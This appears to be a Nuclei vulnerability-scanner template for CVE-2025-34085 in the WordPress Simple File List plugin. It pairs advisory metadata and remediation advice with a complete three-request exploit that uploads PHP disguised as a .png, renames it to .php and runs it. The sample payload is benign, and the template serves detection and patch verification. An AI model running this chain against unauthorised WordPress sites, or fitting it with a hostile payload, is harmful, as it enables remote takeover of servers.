WordPress Simple File List <=4.2.2 - Remote Code Execution

id: CVE-2025-34085

info:
  name: WordPress Simple File List <=4.2.2 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: |
    An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.
  impact: |
    Unauthenticated attackers can upload and execute PHP files by first uploading as .png then renaming to .php, achieving remote code execution on the WordPress server.
  remediation: |
    Upgrade WordPress Simple File List plugin to version 4.2.3 or later that properly validates file extensions during rename operations.
  reference:
    - https://wpscan.com/vulnerability/10192
    - https://github.com/advisories/GHSA-8xp7-p66p-4h9h
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34085
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    fofa-query: body="/wp-content/plugins/simple-file-list/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,rce,file-upload,intrusive,simple-file-list,vuln

variables:
  filepath: '{{rand_base(7, "abcdefghi")}}'
  string: "wordpress-rce-simplefilelist"

http:
  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=6985fa39c0698d07f6d418b37388e1b2

        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_ID"

        1
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        /wp-content/uploads/simple-file-list/
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_Timestamp"

        1587258885
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="eeSFL_Token"

        ba288252629a5399759b6fde1e205bc2
        --6985fa39c0698d07f6d418b37388e1b2
        Content-Disposition: form-data; name="file"; filename="{{filepath}}.png"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        --6985fa39c0698d07f6d418b37388e1b2--

      - |
        POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php

      - |
        GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201f0b0d31d0b41ba31f6ddbd88f5b399060893473a225d4837e03c89fe1fa2d7d0221008168c15deeec25ccb9519f40b9f1d453b08bde9b2aa89749981858b0516e215a:922c64590222798bb761d5b6d8e72950